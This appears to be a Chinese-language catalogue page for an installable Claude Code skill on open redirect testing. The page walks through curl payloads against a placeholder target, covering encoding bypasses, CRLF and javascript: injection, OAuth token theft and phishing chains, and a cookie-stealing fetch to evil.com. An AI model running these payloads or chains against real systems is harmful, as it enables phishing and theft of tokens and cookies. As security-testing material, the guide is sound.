关于 testing-for-open-redirect-vulnerabilities
用于评估 Web 应用开放重定向问题的安全测试技能,涵盖登录、OAuth 和 SSO 流程。它指导参数发现、绕过测试、漏洞链分析及自动化检查,适用于授权评估。
主要功能
- 01识别重定向参数
- 02测试外部重定向载荷
- 03检查 URL 验证绕过
- 04评估基于路径的重定向
- 05将重定向与其他漏洞串联
- 06使用所列工具自动化测试
适用场景
- 01审计登录和退出重定向流程
- 02评估 OAuth redirect_uri 验证
- 03测试 SSO 重定向处理
- 04开展授权的钓鱼模拟
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill testing-for-open-redirect-vulnerabilities安装后在 Claude Code 中输入/testing-for-open-redirect-vulnerabilities确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
开放重定向漏洞测试
何时使用
- 测试将用户重定向到指定 URL 的登录/注销流程时
- 评估带有 redirect_uri 参数的 OAuth 授权端点期间
- 审计带有 URL 参数(next、url、redirect、return、goto、target)的应用时
- 在钓鱼模拟中,将开放重定向与凭据收集串联利用时
- 测试 SSO 实现中的重定向校验弱点时
前置条件
- 用于拦截重定向请求的 Burp Suite 或 OWASP ZAP
- 开放重定向绕过载荷集合
- 用于确认重定向的外部域名或 Burp Collaborator
- 了解 URL 解析与编码方案
- 带有开发者工具、可观察重定向链的浏览器
- 了解 HTTP 301/302/303/307/308 重定向状态码
法律声明: 本技能仅用于经授权的安全测试和教育目的。未经授权对您不拥有或未获得书面测试许可的系统进行使用属于违法行为,可能违反计算机欺诈相关法律。
工作流
第 1 步 — 识别重定向参数
# Common redirect parameter names to test:
# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=
# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=
# Search for redirect parameters in the application
# Use Burp Suite to crawl and identify all parameters
# Test basic redirect
curl -v "http://target.com/login?next=https://evil.com"
curl -v "http://target.com/logout?redirect=https://evil.com"
curl -v "http://target.com/oauth/authorize?redirect_uri=https://evil.com"
第 2 步 — 测试基本的开放重定向载荷
# Direct external URL
curl -v "http://target.com/redirect?url=https://evil.com"
# Protocol-relative URL
curl -v "http://target.com/redirect?url=//evil.com"
# URL with @ symbol (userinfo abuse)
curl -v "http://target.com/redirect?url=https://[email protected]"
# Backslash-based redirect
curl -v "http://target.com/redirect?url=https://evil.com\@target.com"
# Null byte injection
curl -v "http://target.com/redirect?url=https://evil.com%00.target.com"
第 3 步 — 应用校验绕过技术
# Subdomain confusion bypass
curl -v "http://target.com/redirect?url=https://target.com.evil.com"
curl -v "http://target.com/redirect?url=https://evil.com/target.com"
# URL encoding bypass
curl -v "http://target.com/redirect?url=https%3A%2F%2Fevil.com"
curl -v "http://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d"
# Double URL encoding
curl -v "http://target.com/redirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com"
# Mixed case protocol
curl -v "http://target.com/redirect?url=HtTpS://evil.com"
# CRLF injection in redirect
curl -v "http://target.com/redirect?url=%0d%0aLocation:%20https://evil.com"
# JavaScript protocol
curl -v "http://target.com/redirect?url=javascript:alert(document.domain)"
# Data URI
curl -v "http://target.com/redirect?url=data:text/html,<script>alert(1)</script>"
第 4 步 — 测试基于路径的重定向
# Relative path injection
curl -v "http://target.com/redirect?url=/\evil.com"
curl -v "http://target.com/redirect?url=/.evil.com"
# Path traversal with redirect
curl -v "http://target.com/redirect?url=/../../../evil.com"
# Fragment-based bypass
curl -v "http://target.com/redirect?url=https://evil.com#target.com"
# Parameter pollution for redirect
curl -v "http://target.com/redirect?url=https://target.com&url=https://evil.com"
第 5 步 — 与其他漏洞串联
# Chain with OAuth for token theft
# Step 1: Find open redirect on target.com
# Step 2: Use it as redirect_uri in OAuth flow
curl -v "http://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=http://target.com/redirect?url=https://evil.com&response_type=code"
# Chain with phishing
# Create convincing phishing page at evil.com
# Use open redirect: http://target.com/redirect?url=https://evil.com/login
# Victim sees target.com in the initial URL
# Chain with XSS via javascript: protocol
curl -v "http://target.com/redirect?url=javascript:fetch('https://evil.com/?c='+document.cookie)"
第 6 步 — 自动化开放重定向测试
# Use OpenRedireX for automated testing
python3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ
# Use gf tool to extract redirect parameters from URLs
cat urls.txt | gf redirect | sort -u > redirect_params.txt
# Mass test with nuclei
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/open-redirect.yaml
# Test with ffuf
ffuf -w open-redirect-payloads.txt -u "http://target.com/redirect?url=FUZZ" -mr "Location: https://evil"
关键概念
| 概念 | 说明 |
|---|---|
| 未校验的重定向 | 应用重定向到用户提供的 URL 而不检查目标地址 |
| URL 解析不一致 | 不同库对 URL 的解析方式不同,从而实现绕过 |
| 协议相对 URL | 使用 // 前缀进行重定向,同时继承当前协议 |
| Userinfo 滥用 | 使用 @ 符号使 URL 看起来属于受信任域名 |
| 开放重定向链 | 组合多个开放重定向或与其他漏洞串联 |
| 基于 DOM 的重定向 | 客户端 JavaScript 使用攻击者可控的输入执行重定向 |
| Meta Refresh 重定向 | 使用 HTML meta 标签执行重定向,而无需服务器端 302 |
工具与系统
| 工具 | 用途 |
|---|---|
| OpenRedireX | 自动化开放重定向漏洞测试工具 |
| Burp Suite | 用于拦截和修改重定向参数的 HTTP 代理 |
| gf (tomnomnom) | 从 URL 列表中提取重定向参数的模式匹配工具 |
| nuclei | 带有开放重定向检测模板的基于模板的扫描器 |
| ffuf | 用于批量测试重定向参数载荷的模糊测试器 |
| OWASP ZAP | 带有开放重定向检测的自动化扫描器 |
常见场景
- 钓鱼放大 — 利用受信任域名上的开放重定向,为针对用户的钓鱼 URL 增添可信度
- OAuth 令牌窃取 — 在 OAuth 流程中将开放重定向利用为 redirect_uri,以窃取授权码和访问令牌
- SSO 绕过 — 将 SSO 认证响应重定向到攻击者控制的服务器,以捕获会话令牌
- 通过重定向实现 XSS — 将开放重定向与 javascript: 协议串联,以实现跨站脚本攻击
- Referer 泄露 — 利用开放重定向在跳转到外部站点时泄露 Referer 头中的敏感令牌
输出格式
## Open Redirect Assessment Report
- **Target**: http://target.com
- **Vulnerable Parameters Found**: 3
- **Bypass Techniques Required**: URL encoding, userinfo abuse
### Findings
| # | Endpoint | Parameter | Payload | Impact |
|---|----------|-----------|---------|--------|
| 1 | /login | next | //evil.com | Phishing |
| 2 | /oauth/authorize | redirect_uri | https://[email protected] | Token Theft |
| 3 | /logout | return | https://evil.com%00.target.com | Session Redirect |
### Remediation
- Implement allowlist of permitted redirect destinations
- Validate redirect URLs server-side using strict URL parsing
- Reject any redirect URL containing external domains
- Use indirect reference maps instead of direct URL parameters
评论
支持 Markdown